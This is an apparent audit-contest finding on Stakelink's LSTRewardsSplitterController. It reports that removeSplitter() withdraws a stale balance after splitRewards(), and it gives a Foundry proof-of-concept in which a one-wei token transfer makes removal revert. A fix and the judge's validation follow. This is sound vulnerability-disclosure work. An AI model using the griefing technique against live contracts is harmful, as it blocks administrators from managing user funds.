Liquid Staking
Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

The `LSTRewardsSplitterController::removeSplitter()` function must re-fetch the balance after executing `splitter.splitRewards()` to ensure the correct value is used during withdrawal.

joicygiore

Summary

The LSTRewardsSplitterController::removeSplitter() function must re-fetch the balance after executing splitter.splitRewards() to ensure the correct value is used during withdrawal. otherwise malicious users continuously sends tokens to the LSTRewardsSplitter address designated for removal, the removeSplitter() function will fail to execute correctly, preventing the target from being removed.

Vulnerability Details

In the LSTRewardsSplitterController::removeSplitter() function, as indicated by the @> markers, the balance and principalDeposits are obtained early in the function execution. However, after splitter.splitRewards() is called, the splitter.balance value is updated. This means that before invoking splitter.withdraw(balance, _account);, the updated balance should be re-fetched to avoid reverting the transaction due to using an outdated value.

// LSTRewardsSplitterController::removeSplitter()
function removeSplitter(address _account) external onlyOwner {
ILSTRewardsSplitter splitter = splitters[_account];
if (address(splitter) == address(0)) revert SplitterNotFound();
​
​
@> uint256 balance = IERC20(lst).balanceOf(address(splitter));
@> uint256 principalDeposits = splitter.principalDeposits();
if (balance != 0) {
@> if (balance != principalDeposits) splitter.splitRewards();
@> splitter.withdraw(balance, _account);
}
​
​
delete splitters[_account];
​
​
uint256 numAccounts = accounts.length;
for (uint256 i = 0; i < numAccounts; ++i) {
if (accounts[i] == _account) {
accounts[i] = accounts[numAccounts - 1];
accounts.pop();
break;
}
}
​
​
IERC677(lst).safeApprove(address(splitter), 0);
}

In this function, if splitter.splitRewards() is called, it alters the balance of the splitter by redistributing rewards. Without re-fetching the balance after this operation, the subsequent call to splitter.withdraw(balance, _account) may revert because it would be using a stale value of balance.

// LSTRewardsSplitter::splitRewards()
function splitRewards() external {
int256 newRewards = int256(lst.balanceOf(address(this))) - int256(principalDeposits);
if (newRewards < 0) {
principalDeposits -= uint256(-1 * newRewards);
} else if (newRewards == 0) {
revert InsufficientRewards();
} else {
@> _splitRewards(uint256(newRewards));
}
}
// LSTRewardsSplitter::_splitRewards()
function _splitRewards(uint256 _rewardsAmount) private {
for (uint256 i = 0; i < fees.length; ++i) {
Fee memory fee = fees[i];
uint256 amount = (_rewardsAmount * fee.basisPoints) / 10000;
​
​
if (fee.receiver == address(lst)) {
@> IStakingPool(address(lst)).burn(amount);
} else {
@> lst.safeTransfer(fee.receiver, amount);
}
}
​
​
principalDeposits = lst.balanceOf(address(this));
emit RewardsSplit(_rewardsAmount);
}

Poc

Please place the provided file in the project's test directory and ensure that foundry is properly configured before execution.

Additionally, as demonstrated in the Proof of Concept, if a user continuously sends tokens to the LSTRewardsSplitter address designated for removal, the removeSplitter() function will fail to execute correctly, preventing the target from being removed.

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.15;
​
import {Test, console} from "forge-std/Test.sol";
import {LSTRewardsSplitterController} from "contracts/core/lstRewardsSplitter/LSTRewardsSplitterController.sol";
import {LSTRewardsSplitter} from "contracts/core/lstRewardsSplitter/LSTRewardsSplitter.sol";
import {ERC677} from "contracts/core/tokens/base/ERC677.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract LSTRewardsSplitterControllerPoc is Test {
LSTRewardsSplitterController public lSTRewardsSplitterController;
ERC677 public lst;
address public owner = makeAddr("owner");
address public splitterAccount = makeAddr("splitterAccount");
function setUp() public {
// deploy contracts
lst = new ERC677("Test","Test",10000e18);
lSTRewardsSplitterController = new LSTRewardsSplitterController(address(lst), 10);
​
}
function testlSTRewardsSplitterController_removeSplitter() public {
​
deal(address(lst), splitterAccount, 5000e18);
////////////////////////
// addSplitter() //
////////////////////////
LSTRewardsSplitter.Fee[] memory fees = new LSTRewardsSplitter.Fee[]();
fees[0] = LSTRewardsSplitter.Fee(splitterAccount,10000);
lSTRewardsSplitterController.addSplitter(splitterAccount,fees);
address cacheSplitter = address(lSTRewardsSplitterController.splitters(splitterAccount));
​
////////////////////////
// splitterAccount //
////////////////////////
vm.startPrank(splitterAccount);
lst.transferAndCall(address(lSTRewardsSplitterController),100e18,"");
console.log("After deposit cacheSplitter's balance:",lst.balanceOf(cacheSplitter));
// Transfer additional tokens
lst.transfer(cacheSplitter,1);
console.log("After transfer cacheSplitter's balance:",lst.balanceOf(cacheSplitter));
vm.stopPrank();
//////////////////////
// removeSplitter() //
//////////////////////
// Expect a revert due to an arithmetic underflow or overflow (Panic error code 0x11)
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
lSTRewardsSplitterController.removeSplitter(splitterAccount);
}
// [PASS] testlSTRewardsSplitterController_removeSplitter() (gas: 1556330)
// Logs:
// After deposit cacheSplitter's balance: 100000000000000000000
// After transfer cacheSplitter's balance: 100000000000000000001
}

Code Snippet

https://github.com/Cyfrin/2024-09-stakelink/blob/ea5574ebce3a86d10adc2e1a5f6d5512750f7a72/contracts/core/lstRewardsSplitter/LSTRewardsSplitterController.sol#L130-L153
https://github.com/Cyfrin/2024-09-stakelink/blob/ea5574ebce3a86d10adc2e1a5f6d5512750f7a72/contracts/core/lstRewardsSplitter/LSTRewardsSplitter.sol#L116-L125
https://github.com/Cyfrin/2024-09-stakelink/blob/ea5574ebce3a86d10adc2e1a5f6d5512750f7a72/contracts/core/lstRewardsSplitter/LSTRewardsSplitter.sol#L173-L187

Impact

If splitter.splitRewards() is executed, the value of splitter.balance changes. If the updated balance is not retrieved before splitter.withdraw(balance, _account), the function may revert due to using an incorrect balance. This could prevent the withdrawal operation from completing successfully, disrupting the splitter removal process.
At the same time, as shown in the POC, if the user keeps sending tokens to the LSTRewardsSplitter address that is to be removed, the removeSplitter() function will not be executed correctly and the target will never be removed.

Tools Used

Manual Review

Recommendations

If splitter.splitRewards() is executed, the balance should be re-fetched after the function call to ensure that the correct value is used for the withdrawal. The proposed fix is as follows:

function removeSplitter(address _account) external onlyOwner {
ILSTRewardsSplitter splitter = splitters[_account];
if (address(splitter) == address(0)) revert SplitterNotFound();
​
​
uint256 balance = IERC20(lst).balanceOf(address(splitter));
uint256 principalDeposits = splitter.principalDeposits();
if (balance != 0) {
- if (balance != principalDeposits) splitter.splitRewards();
+ if (balance != principalDeposits) {
+ splitter.splitRewards();
+ balance = IERC20(lst).balanceOf(address(splitter));
+ }
splitter.withdraw(balance, _account);
}
​
​
delete splitters[_account];
​
​
uint256 numAccounts = accounts.length;
for (uint256 i = 0; i < numAccounts; ++i) {
if (accounts[i] == _account) {
accounts[i] = accounts[numAccounts - 1];
accounts.pop();
break;
}
}
​
​
IERC677(lst).safeApprove(address(splitter), 0);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

In `removeSplitter` the `principalDeposits` should be used as an input for `withdraw` instead of balance after splitting the existing rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.